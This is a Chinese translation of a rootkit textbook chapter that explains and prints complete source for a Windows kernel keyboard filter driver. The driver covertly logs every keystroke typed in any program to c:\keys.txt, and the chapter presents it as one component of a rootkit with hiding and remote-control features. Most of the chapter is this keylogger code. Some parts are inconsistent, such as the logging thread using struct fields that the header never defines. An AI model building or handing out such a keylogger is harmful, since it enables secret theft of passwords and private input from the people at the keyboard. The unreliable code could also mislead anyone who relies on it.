
笫八章:按键记录

概述

到目前为止,我们所创建的钩子和过滤器所能做的仅仅是一些监视和过滤的工作，在本章我们会介绍另一项要进行的工作－按键记录。非常不幸的是，文件操作(记录)需要在passive level 进行.而我们本章创建的键盘记录器可以运行在dispatch level上.因为在dispatch level上进行文件操作会导致操作系统崩溃，所以必须要有一个线程，一个存储数据的介质和一个同步方法来保证正常地操作.。本章包含以下内容：

处理级别

一个键盘记录器

线程与同步

解读按键码

一个实例

测试实例

处理级别

在介绍内核级多线程及其同步的复杂性之前，我们应该先讨论下为什么要进行键盘记录。本书所实现的rootkit是作为一个内核备驱动来实现的，而设备驱动是运行在许多可以限制它们的功能的处理级别上的，下面描述了设备驱动处理级别和在这些处理级别上调用的例程：

IRQL = PASSIVE_LEVEL

运行在此级别的例程：DriverEntry，AddDevice， Reinitialize， Unload ，大部分分发函数，驱动创建的线程和工作线程回调。在这个处理级别上没有屏蔽任何中断。

IRQL = APC_LEVEL

运行在此级别的例程：一些分发函数运行在这个处理级别上。在这个处理级别上APC_LEVEL 中断会被屏蔽掉。

IRQL = DISPATCH_LEVEL

运行在此级别的例程:StartIo,，AdapterControl,，AdapterListControl,，ControllerControl,，IoTimer,，Cancel (在等待cancel旋转锁的时候),，DpcForIsr，CustomTimerDpc，和CustomDpc。DISPATCH_LEVEL和APC_LEVEL中断会被屏蔽掉，设备中断，时钟中断和电源故障中断都可以发生在这个处理级别上。

IRQL = DIRQL

运行在此级别的例程：InterruptService 和SynchCritSection 。所有IRQL<= DIRQL 的中断都会被屏蔽。设备中断级别高于DIRQL的中断可以和时钟和电源故障中断一起发生。

因为我们在DISPATCH_LEVEL级别上进行键盘按键数据的收集，而文件I/O请求在PAAIVE_LEVEL级别上，所以必须要创建一个运行在PASSIVE_LEVEL级别上的线程来把实际的键盘按键数据写入到磁盘里。

一个键盘记录器
编写一个键盘记录器是学习windows操作系统的一种非常好的方式。前面的过滤器(网络和文件)的例子只是简单地对通信进行过滤，而键盘记录不但要加上复杂的I/O完成例程，还要把信息记录到文件里，在这一步可能会发生一些莫名奇妙的错误．往好的方面想，我们本书里要开发的这个rootkit已经创建了一个新的设备而且能够处理设备I/O，所以一个键盘记录器的基础我们已经有了．

正如前面说过，键盘I/O需要一个完成例程，这是一个能在键盘数据返回到接受按键程序的堆栈前来截获这些数据的回调函数。要接收一个按键，一个上层的驱动必须要下发一个空的IRP然后等待按键，当一个键被按下的时候，IRP已经完成而且按键数据已经返回到栈中，如果我们正在写的是一个实际的驱动程序这是非常棒的，但对一个过滤驱动来说还需要考虑一些其它的问题。

键盘驱动栈的设计需要一个键盘记录器来附加到栈上，然后等待上层驱动发来一个空IRP，在空IRP向下传递之前记录器必须注册自己的回调例程，这样，当被调用的时候，键盘记录器回调函数可以在按键数据返回到创建源IRP的设备前查看这些按键信息，这是对每个要返回到键盘驱动栈的按键(通常是两次：一次是按键按下，另一次是按键弹起)都要做的．

    这种IRP的拦截方法在rootkit被卸载的时候会产生一个特殊的问题，当rootkit被卸载的时候，rootkit注册的回调函数会从内存中移除，但是在大多数情况下，这个回调函数已经被一个空的IRP注册了，当下一个按键被按下时这个函数会被调用．这样当下一个按键被按下的时候就很有可能会导致系统崩溃，如果你不熟悉这个术语(崩溃)的话,通常用"蓝屏死机"(BSOD)来描述这种情况．为了防止出现这种情况，rootkit需要创建自己的IRP,

然后把它们关联到被截获的IRP上,并且用它们来代替截获到的IRP给发送出去．这样在卸载rootkit的时候就可以取消所有pending IRP．图8－1展示了怎么插入一个键盘记录器
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8－1

    这里的按键记录同样存在有问题．之前提到过，由键盘记录器注册的回调函数运行在DISPATCH特权级上，而文件I/O操作仅仅能在PASSIVE特权级上进行．这就需要由回调函数把键盘数据临时地保存在一个地方，然后用一个IRQ级别为PASSIVE_LEVEL的线程来进行监视，读取线程还需要和写入线程进行同步，这就是为什么之前会说"编写一个键盘记录器是学习windows操作系统的非常好的一种方式"．键盘记录器的同步如图8－2所示
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8－２
线程与同步

    在不同线程之间进行数据的传递通常要使用一个由信号量来保护的链表．这种技术需要用到下面的函数:

PsCreateSystemThread

PsTerminateSystemThread

InitializeListHead

KeInitializeSemaphonre

KeWaitForSingleObject

KeInitializeSpinLock

ExInterlockedInsertTailList

ExInterlockedRemoveHeadList

    PsCreateSystemThread和PsTerminateSystemThread分别用来启动和停止一个passive-level线程，InitializeListHead用来初始化共享数据存储区，KeInitialzeSemaphore和KeWaiteForSingleObject用来同步访问共享数据区，最后,KeInitializeSpinLock,ExInterLockedInsertTailList和ExInterlockedRemoveHeadList用来在共享存储区里存入／移除数据．

解读按键码

    正如笫4章所讲的x86指令的反汇编一样，按键码的处理方法并不在本书的范围内．但就像基于 trampoline 技术的进程注入需要对x86指令进行反汇编一样，键盘记录需要处理按键码．幸运的是，按键码的处理要比x86指令的反汇编简单得多，前提是你要完全忽略Caps Lock, Num Lock,和不可打印的按键，例如方向键．按键处理如图8－3所示.
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8-3

    按键码的映射是在keyMap和shiftKeyMap两个数组间进行的，按键的处理在GetKey函数里实现，一旦按键数据有效，这个函数就会被记录线程调用，同时按键数据会被转换成文本．

一个实例

    在这里所展示的这个实例会把所有的按键都记录到文件c:\keys.txt里．为了实现这个功能,这里增加了两个文件和修改了5个文件．

下面是要新加的文件：

keyManager.c

keyManater.h

下面是要修改的５个文件:

Ghost.c

filterManager.c

filterManager.h

IoManager.h

SOURCES

SOURCES

SOURCES里仅仅是加入了文件keyManager.c

Ghost.c

    Ghost.c里多包含了一个头文件并且增加了3个全局变量．

#include "keyManager.h"

KEYBOARD_STRUCT keyboardData = {0};

PDEVICE_OBJECT oldKeyboardDevice = NULL;

PDEVICE_OBJECT newKeyboardDevice = NULL;

全局变量 keyboardData 是按键处理的一个状态机数据结构，oldKeyboardDevice和newKeyboardDevice是用来进行设备栈的插入的．

在OnUnload函数里增加了5行代码:

if( newKeyboardDevice )

 {

         removeFilter( &oldKeyboardDevice, &newKeyboardDevice );

         StopKeylogger();

 }

    前面这几行代码使得键盘设备过滤器可以卸载掉并且键盘记录器的线程也可以被停止．下面几行代码把键盘过滤器插入到键盘设备栈里的同时会开启记录线程．GUID_DEVINTERFACE_KEYBOARD 是用来向操作系统查询键盘的设备名的，如果IoGetDevice Interfaces返回成功，SymbolicLinkList里的笫一个条目就是键盘设备名．

Eleven lines were added to the DriverEntry function:PWSTR SymbolicLinkList;

if( NT_SUCCESS( IoGetDeviceInterfaces( &GUID_DEVINTERFACE_KEYBOARD, NULL, 0,

&SymbolicLinkList ) ) )

 {

  if( !NT_SUCCESS( insertKeyboardFilter( pDriverObject,

   &oldKeyboardDevice,

   &newKeyboardDevice,

   SymbolicLinkList) ) )

   DbgPrint("comint32: Could not insert keyboard filter");

  ExFreePool( SymbolicLinkList );

 }

filterManager.c

    文件filterManager.c仅仅是多包含了头文件filterManager.h和增加了函数insertKeyboardFilter。
#include "keyManager.h"NTSTATUS insertKeyboardFilter(PDRIVER_OBJECT pDriverObject,

 PDEVICE_OBJECT* ppOldDevice,

 PDEVICE_OBJECT* ppNewDevice,

 wchar_t* deviceName)

{

 NTSTATUS status = STATUS_SUCCESS;

 UNICODE_STRING unicodeName = { 0 };

 // Create a new device

 status = IoCreateDevice( pDriverObject,

  0,

  NULL,

  FILE_DEVICE_KEYBOARD,

  0,

  FALSE,

  ppNewDevice );

  if( !NT_SUCCESS( status ) )

   return status;

 // Initialize the new device

 ((PDEVICE_OBJECT)(*ppNewDevice))->Flags |= (DO_BUFFERED_IO | DO_POWER_PAGABLE);

 ((PDEVICE_OBJECT)(*ppNewDevice))->Flags &= ~DO_DEVICE_INITIALIZING;

 // Attach the new device

 RtlInitUnicodeString( &unicodeName, deviceName );

 status = IoAttachDevice( *ppNewDevice,

  &unicodeName,

  ppOldDevice );

 // Prevent unload if load failed

 if( !NT_SUCCESS( status ) )

 {

  IoDeleteDevice( *ppNewDevice );

  *ppNewDevice = NULL;

 }

 else

 {

  // Prepare the keylogging thread

  StartKeylogger( pDriverObject );

}

return status;

}

    这个函数和网络过滤器的插入函数insertNetworkFilter非常相似．只是创建的新设备类型变成了FILE_DEVICE_KEYBOARD,标志位有点不同．

filterManager.h

    filterManager.h.仅仅是增加了对函数insertKeyboardFilter 的声明．
IoManager.c

    IoManager.c在OnDispatch函数里增加了9行代码．OnDispatch 是所有I/O都要经过的地方．增加的代码简单地保证了能够在所有的键盘读请求里加入了一个完成例程．

// Intercept I/O Request Packets to the keyboard

 if( DeviceObject == newKeyboardDevice )

 {

         if( irpStack->MajorFunction == IRP_MJ_READ )

         return OnKeyboardRead( DeviceObject, Irp, irpStack );

         IoSkipCurrentIrpStackLocation ( Irp );

         return IoCallDriver( oldKeyboardDevice, Irp );

 }

keyManager.h

    keyManager.h　这个文件是为了给在keyManager.c里实现的函数提供支持的．

// Copyright Ric Vieler, 2006

// Support header for keyManager.c

#ifndef _KEY_MANAGER_H_

#define _KEY_MANAGER_H_

typedef struct _KEY_DATA

{

 LIST_ENTRY ListEntry;

 char KeyData;

 char KeyFlags;

}KEY_DATA;

typedef struct _KEY_STATE

{

 BOOL CtrlKey;

 BOOL AltKey;

 BOOL ShiftKey;

}KEY_STATE;

typedef struct _KEYBOARD_STRUCT

{

PETHREAD threadObject;

 BOOL terminateFlag;

 KEY_STATE keyState;

 HANDLE hLogFile;

 KSEMAPHORE keySemaphore;

 KSPIN_LOCK keyLock;

 LIST_ENTRY keyList;

 KSPIN_LOCK irpLock;

 LIST_ENTRY irpList;

}KEYBOARD_STRUCT;

#define NUL 0

#define SPACE 1

#define ENTER 2

#define LSHIFT 3

#define RSHIFT 4

#define CTRL 5

#define ALT 6

NTSTATUS OnKeyboardRead(IN PDEVICE_OBJECT pDeviceObject,

 IN PIRP pIrp,

 PIO_STACK_LOCATION irpStack );

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,

 IN PIRP pIrp,

 IN PVOID Context);

void OnCancel( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp );

NTSTATUS InitializeLogThread(IN PDRIVER_OBJECT pDriverObject);

VOID KeyLoggerThread(PVOID StartContext);

void GetKey(KEY_DATA* keyData, char* key);

void StartKeylogger(PDRIVER_OBJECT pDriverObject);

void StopKeylogger(PDEVICE_OBJECT* ppOldDevice,

 PDEVICE_OBJECT* ppNewDevice );

#endif

keyManager.c

    keyManager.c是本章要重点关注的文件．记录线程的启动和停止，完成例程的注册，在把按键数据写入文件之前对它的解码这些都在这个文件里实现．这些函数的详细信息如下：

// keyManager

// Copyright Ric Vieler, 2006

// Keylogger routines

#include "ntddk.h"

#include "Ghost.h"

#include "keyManager.h"

#include "ntddkbd.h"

extern KEYBOARD_STRUCT keyboardData;

extern PDEVICE_OBJECT oldKeyboardDevice;

char keyMap[84] = {NUL,NUL,'1','2','3','4','5','6','7','8',

 '9','0','-','=',NUL,NUL,'q','w','e','r',

 't','y','u','i','o','p','[',']',ENTER,CTRL,

 'a','s','d','f','g','h','j','k','l',';',

 '\'','`',LSHIFT,'\\','z','x','c','v','b','n',

 'm',',','.','/',RSHIFT,NUL,ALT,SPACE,NUL,NUL,

 NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,

 NUL,'7','8','9',NUL,'4','5','6',NUL,'1',

 '2','3','0'};

char shiftKeyMap[84] = {NUL,NUL,'!','@','#','$','%','^','&','*',

 '(',')','_','+',NUL,NUL,'Q','W','E','R',

 'T','Y','U','I','O','P','{','}',ENTER,NUL,

 'A','S','D','F','G','H','J','K','L',':',

 '"','~',LSHIFT,'|','Z','X','C','V','B','N',

 'M','<','>','?',RSHIFT,NUL,NUL,SPACE,NUL,NUL,

 NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,NUL,

 NUL,'7','8','9',NUL,'4','5','6',NUL,'1',

 '2','3','0'};

NTSTATUS OnKeyboardRead( PDEVICE_OBJECT pDeviceObject,

 PIRP Irp,

 PIO_STACK_LOCATION irpStack )

{

 NTSTATUS status;

 PIRP newIrp;

 PIO_STACK_LOCATION newirpStack;

 // create new irp

 newIrp = IoAllocateIrp( pDeviceObject->StackSize, FALSE );

 IoSetNextIrpStackLocation( newIrp );

 newirpStack = IoGetCurrentIrpStackLocation( newIrp );

 newIrp->AssociatedIrp.SystemBuffer = Irp->AssociatedIrp.SystemBuffer;

 newIrp->RequestorMode = KernelMode;   // Irp->RequestorMode;

 newIrp->Tail.Overlay.Thread = Irp->Tail.Overlay.Thread;

 newIrp->Tail.Overlay.OriginalFileObject = Irp->Tail.Overlay.OriginalFileObject;

 newIrp->Flags = Irp->Flags;

 newirpStack->MajorFunction = IRP_MJ_READ;

 newirpStack->MinorFunction = irpStack->MinorFunction;

 newirpStack->Parameters.Read = irpStack->Parameters.Read;

 newirpStack->DeviceObject = pDeviceObject;

 newirpStack->FileObject = irpStack->FileObject;

 newirpStack->Flags = irpStack->Flags;

 newirpStack->Control = 0;

 IoCopyCurrentIrpStackLocationToNext( newIrp );

 IoSetCompletionRoutine( newIrp, OnReadCompletion, Irp, TRUE, TRUE, TRUE );

 // save old irp

 Irp->Tail.Overlay.DriverContext[0] = newIrp;

 ExInterlockedInsertHeadList( &keyboardData.irpList,

  &Irp->Tail.Overlay.ListEntry,

  &keyboardData.irpLock );

 // set cancel routine to allow driver to unload

 IoSetCancelRoutine( Irp, OnCancel );

 // pass new irp in place of old irp

 status = IoCallDriver( oldKeyboardDevice, newIrp );

 if( status == STATUS_PENDING )

  return status;

 status = Irp->IoStatus.Status;

 IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT );

 return status;

}

NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT pDeviceObject,

 IN PIRP pIrp,

 IN PVOID Context)

{

 PIRP origIrp;

 KIRQL aIrqL;

 BOOL found = FALSE;

 if( pIrp->Cancel )

 {

  // driver unloading

  IoFreeIrp( pIrp );

  return STATUS_MORE_PROCESSING_REQUIRED;

 }

 // get original irp

 origIrp = (PIRP)Context;

 // find and delete the original irp

 KeAcquireSpinLock( &keyboardData.irpLock, &aIrqL );

 {

  PLIST_ENTRY listEntry;

  listEntry = keyboardData.irpList.Flink;

  while( (listEntry != &origIrp->Tail.Overlay.ListEntry)

   && (listEntry != &keyboardData.irpList) )

  {

   listEntry = listEntry->Flink;

  }

  found = (listEntry == &origIrp->Tail.Overlay.ListEntry);

  if( found )

   RemoveEntryList( &origIrp->Tail.Overlay.ListEntry );

 }

 KeReleaseSpinLock( &keyboardData.irpLock, aIrqL );

 // propagate irp if pending

 if( pIrp->PendingReturned )

 {

  IoMarkIrpPending( pIrp );

  if( found )

   IoMarkIrpPending( origIrp );

 }

 // process the key

 if( pIrp->IoStatus.Status == STATUS_SUCCESS )

 {

  int i;

  int numKeys;

  PKEYBOARD_INPUT_DATA keys;

  KEY_DATA* keyData;

  keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;

  numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

  for( i = 0; i < numKeys; i++ )

  {

   // get key

   keyData = (KEY_DATA*)ExAllocatePool( NonPagedPool, sizeof(KEY_DATA) );

   keyData->KeyData = (char)keys[i].MakeCode;

   keyData->KeyFlags = (char)keys[i].Flags;

   // give key to key queue

   ExInterlockedInsertTailList( &keyboardData.keyList,

    &keyData->ListEntry,

    &keyboardData.keyLock );

   // tell logging thread to read key queue

   KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, FALSE );

  }

 }

 if( found )

 {

  // complete the orig irp

  origIrp->IoStatus.Status = pIrp->IoStatus.Status;

  origIrp->IoStatus.Information = pIrp->IoStatus.Information;

  IoSetCancelRoutine( origIrp, NULL );

  if( pIrp->PendingReturned )

   IoCompleteRequest( origIrp, IO_KEYBOARD_INCREMENT );

 }

 // free the new irp

 IoFreeIrp( pIrp );

 return STATUS_MORE_PROCESSING_REQUIRED;

}

void GetKey(KEY_DATA* keyData, char* key)

{

 char mappedKey;

 // map the key code into a key

 mappedKey = keyMap[keyData->KeyData];

 // process mapped key

 switch( mappedKey )

 {

  case CTRL:

   if( keyData->KeyFlags == KEY_MAKE )

    keyboardData.keyState.CtrlKey = TRUE;

   else

    keyboardData.keyState.CtrlKey = FALSE;

   break;

  case ALT:

   if( keyData->KeyFlags == KEY_MAKE )

    keyboardData.keyState.AltKey = TRUE;

   else

    keyboardData.keyState.AltKey = FALSE;

   break;

  case LSHIFT:

   if( keyData->KeyFlags == KEY_MAKE )

    keyboardData.keyState.ShiftKey = TRUE;

   else

    keyboardData.keyState.ShiftKey = FALSE;

   break;

  case RSHIFT:

   if( keyData->KeyFlags == KEY_MAKE )

    keyboardData.keyState.ShiftKey = TRUE;

   else

    keyboardData.keyState.ShiftKey = FALSE;

   break;

  case ENTER:

   if(( keyboardData.keyState.AltKey != TRUE ) &&

    ( keyData->KeyFlags == KEY_BREAK ))

   {

    key[0] = 0x0D;

    key[1] = 0x0A;

   }

   break;

  case SPACE:

   if(( keyboardData.keyState.AltKey != TRUE ) &&

    ( keyData->KeyFlags == KEY_BREAK ))

    key[0] = 0x20;

   break;

  default:

   if(( keyboardData.keyState.AltKey != TRUE ) &&

    ( keyboardData.keyState.CtrlKey != TRUE ) &&

    ( keyData->KeyFlags == KEY_BREAK ))

   {

    if(( mappedKey >= 0x21 ) && ( mappedKey <= 0x7E ))

    {

     if( keyboardData.keyState.ShiftKey == TRUE )

      key[0] = shiftKeyMap[keyData->KeyData];

     else

      key[0] = mappedKey;

    }

   }

   break;

 }

}

NTSTATUS InitializeLogThread(IN PDRIVER_OBJECT pDriverObject)

{

 HANDLE hThread;

 NTSTATUS status;

 keyboardData.terminateFlag = FALSE;

 status = PsCreateSystemThread( &hThread,

  (ACCESS_MASK)0,

  NULL,

  (HANDLE)0,

  NULL,

  KeyLoggerThread,

  NULL );

 if( !NT_SUCCESS( status ) )

 {

  DbgPrint("comint32: Failed to create key log thread");

  return status;

 }

 ObReferenceObjectByHandle( hThread,

  THREAD_ALL_ACCESS,

  NULL,

  KernelMode,

  (PVOID*)&keyboardData.threadObject,

  NULL );

 ZwClose( hThread );

 return status;

}

VOID KeyLoggerThread(PVOID StartContext)

{

 char key[3];

 NTSTATUS status;

 PLIST_ENTRY pListEntry;

 KEY_DATA* keyData;

 while( TRUE )

 {

  // wait for a key

  KeWaitForSingleObject( &keyboardData.queueSemaphore,

   Executive,

   KernelMode,

   FALSE,

   NULL );

  pListEntry = ExInterlockedRemoveHeadList( &keyboardData.queueList,

   &keyboardData.queueLock );

  if( keyboardData.terminateFlag == TRUE )

   PsTerminateSystemThread( STATUS_SUCCESS );

  // get base address of instance

  keyData = CONTAINING_RECORD( pListEntry, KEY_DATA, ListEntry );

  // convert scan code to key

  key[0] = key[1] = key[2] = 0;

  GetKey( keyData, key );

  if( key[0] != 0 )

  {

   if(keyboardData.hLogFile != NULL)

   {

    IO_STATUS_BLOCK io_status;

    status = ZwWriteFile(keyboardData.hLogFile,

     NULL,

     NULL,

     NULL,

     &io_status,

     &key,

     strlen(key),

     NULL,

     NULL);

   }

  }

 }

 return;

}

void StartKeylogger(PDRIVER_OBJECT pDriverObject)

{

 IO_STATUS_BLOCK statusBlock;

 OBJECT_ATTRIBUTES attributes;

 STRING ansiName;

 UNICODE_STRING unicodeName;

 CCHAR asciiName[64] = "\\DosDevices\\c:\\keys.txt";

 // initialize keyboardData

 InitializeLogThread( pDriverObject );

 InitializeListHead( &keyboardData.keyList );

 KeInitializeSpinLock( &keyboardData.keyLock );

 KeInitializeSemaphore( &keyboardData.keySemaphore, 0 , MAXLONG );

 InitializeListHead( &keyboardData.irpList );

 KeInitializeSpinLock( &keyboardData.irpLock );

 // create key log

 RtlInitAnsiString( &ansiName, asciiName );

 RtlAnsiStringToUnicodeString( &unicodeName, &ansiName, TRUE );

 InitializeObjectAttributes( &attributes,

  &unicodeName,

  OBJ_CASE_INSENSITIVE,

  NULL,

  NULL );

 ZwCreateFile( &keyboardData.hLogFile,

  GENERIC_WRITE,

  &attributes,

  &statusBlock,

  NULL,

  FILE_ATTRIBUTE_NORMAL,

  0,

  FILE_OPEN_IF,

  FILE_SYNCHRONOUS_IO_NONALERT,

  NULL,

  0 );

 RtlFreeUnicodeString( &unicodeName );

 DbgPrint("comint32: Log thread started");

}

void StopKeylogger( PDEVICE_OBJECT* ppOldDevice,

 PDEVICE_OBJECT* ppNewDevice )

{

 KIRQL irql;

 LIST_ENTRY forwarding_list;

 IoDetachDevice( *ppOldDevice );

 InitializeListHead( &forwarding_list );

 // cancel pending irps

 KeAcquireSpinLock( &keyboardData.irpLock, &irql );

 {

  PLIST_ENTRY listEntry;

  listEntry = keyboardData.irpList.Flink;

  while( listEntry != &keyboardData.irpList )

  {

   PIRP newIrp, Irp;

   Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry ));

   newIrp = (PIRP)(Irp->Tail.Overlay.DriverContext[0]);

   // must advance listEntry before unlinking

   listEntry = listEntry->Flink;

   if( newIrp )

   {

    // cancel created irp

    if( IoCancelIrp( newIrp ) )

    {

     // add original irp to forwarding list

     Irp->Tail.Overlay.DriverContext[0] = NULL;

     IoSetCancelRoutine( Irp, NULL );

     RemoveEntryList( &Irp->Tail.Overlay.ListEntry );

     InsertHeadList( &forwarding_list, &Irp->Tail.Overlay.ListEntry );

    }

   }

  }

 }

 KeReleaseSpinLock( &keyboardData.irpLock, irql );

 // forward original irps

 while( !IsListEmpty( &forwarding_list ) )

 {

  PLIST_ENTRY listEntry;

  PIRP Irp;

  listEntry = RemoveHeadList( &forwarding_list );

  Irp = (PIRP)(CONTAINING_RECORD( listEntry, IRP, Tail.Overlay.ListEntry ));

  IoSkipCurrentIrpStackLocation( Irp );

  IoCallDriver( oldKeyboardDevice, Irp );

 }

 // delete keyboard device

 IoDeleteDevice( *ppNewDevice );

 // terminate logging thread

 keyboardData.terminateFlag = TRUE;

 KeReleaseSemaphore( &keyboardData.keySemaphore, 0, 1, TRUE);

 KeWaitForSingleObject( keyboardData.threadObject,

   Executive,

   KernelMode,

   FALSE,

   NULL);

 // close key log file

 ZwClose( keyboardData.hLogFile );

 DbgPrint("comint32: Log thread stopped");

}

void OnCancel( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

{

 PIRP newIrp;

 KIRQL irql;

 PLIST_ENTRY listEntry;

 int found = FALSE;

 IoSetCancelRoutine( Irp, NULL );

 IoReleaseCancelSpinLock( Irp->CancelIrql );

 // remove associated irp

 KeAcquireSpinLock( &keyboardData.irpLock, &irql );

 {

  listEntry = keyboardData.irpList.Flink;

  while( (listEntry != &Irp->Tail.Overlay.ListEntry)

   && (listEntry != &keyboardData.irpList) )

  {

   listEntry = listEntry->Flink;

  }

  found = ( listEntry == &Irp->Tail.Overlay.ListEntry );

  if( found )

   RemoveEntryList( &Irp->Tail.Overlay.ListEntry );

 }

 KeReleaseSpinLock( &keyboardData.irpLock, irql );

 // process cancellation

 Irp->IoStatus.Status = STATUS_CANCELLED;

 Irp->IoStatus.Information = 0;

 newIrp = (PIRP)Irp->Tail.Overlay.DriverContext[0];

 IoCompleteRequest( Irp, IO_KEYBOARD_INCREMENT );

 if( newIrp )

  IoCancelIrp( newIrp );

 return;

}

OnKeyboardRead

    当检测到一个按键读请求的时候这个函数会被调用。这个函数会创建一个带有取消和完成例程的新IRP，然后保存截获到的IRP并把新创建的IRP传递给键盘驱动栈上的下一个驱动。

OnReadCompletion

    当检测到一个按键的时候，最底层的键盘驱动会调用这个函数。这个函数会查看按键数据并把它添加到键盘回调函数和文件I/O线程共享的链表里。

GetKey

    这个函数会解析从记录线程里接收到的按键数据。函数使用了一个KEYBOARD_STRUCT, keyboardData来跟踪按键数据．因为不用考虑Caps Lock, Num Lock,和特殊按键，所以这个解析过程比较简单．

InitializeLogThread

    这个函数由StartKeyLogger 调用来启动一个passive-level线程进行文件I/O操作记录．

KeyLoggerThread

    这个是进行I/O操作的passive-level线程函数．

StartKeylogger

    在rootkit被加载的时候DriverEntry会调用insertKeyboadFilter函数，然后insertKeyboadrFilter会调用StartKeylogget这个函数．这个函数对按键记录所需要的东西进行初始化．

StopKeylogger

    这个函数在rootkit被卸载的时候由OnUnload函数调用．为了防止系统崩溃，注册了的完成例程在rootkit被卸载之前必须完成或者被取消了．

OnCancel

    这个函数用来从键盘设备栈里移除一个正在等待的(pending) IRP．

Testing the Example

    你可以编译光盘中本章中的代码来测试这个新的键盘记录器．如果一切正常的话，文件c:\keys.txt会包含所有在输入"net start MyDeviceDriver"后到输入''net stop MuDeviceDriver' 这段时间内输入的所有可打印字符．文件里会包含在所有程序里按下的按键．一个键盘记录器的例子如图8-4所示.
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8-4

总结

我们现在拥有了一个具有如下功能的rootkit：

隐藏设备驱动条目

隐藏配置文件

挂钩操作系统内核

挂钩系统加载进程中指定的进程

响应从用户层程序发来的命令

和远程控制者进程通信

对网络通信进行过滤

对文件系统进行过滤

按键记录

    在本章中描述的线程和记录的概念同样适用于前面的章节．利用本章讲的技术来记录系统的配置，当前用户，文件，网络过滤数据和取证数据都可以的．

我们这个rootkit仅仅是作为练习用的一个例子．然而这并不能算是一个真正的rootkit，除非它还拥有一些隐藏的功能．虽然下一章所讲述的许多隐藏技术都很容易被检测出来，但是它们已经被广泛地应用在现在的rootkit里了．
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